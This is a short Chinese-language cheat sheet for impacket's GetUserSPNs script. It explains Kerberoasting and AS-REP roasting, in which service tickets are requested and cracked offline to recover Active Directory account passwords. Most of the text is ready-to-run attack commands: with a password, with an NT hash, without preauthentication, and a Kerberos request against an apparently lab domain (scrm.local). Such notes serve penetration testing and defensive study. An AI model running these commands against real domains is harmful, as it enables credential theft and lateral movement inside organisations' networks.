impacket-GetUserSPNs

可用于获取具有 SPN(服务主体名称)的用户帐户的密码哈希值。如果用户帐户设置了 SPN,则可以请求该帐户的服务票证 (SPN) 并尝试破解该票证以检索用户密码。这种攻击被称为 Kerberoast 。此脚本也可以用于 AS-REP-Roasting

# with a password
GetUserSPNs.py -outputfile kerberoastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'

# with an NT hash
GetUserSPNs.py -outputfile kerberoastables.txt -hashes 'LMhash:NThash' -dc-ip $KeyDistributionCenter 'DOMAIN/USER'

# Kerberoast without preauthentication
GetUserSPNs.py -no-preauth "bobby" -usersfile "services.txt" -dc-host "DC_IP_or_HOST" "DOMAIN.LOCAL"/

#kerberost 
impacket-GetUserSPNs scrm.local/ksimpson -k -no-pass -dc-host dc1.scrm.local -request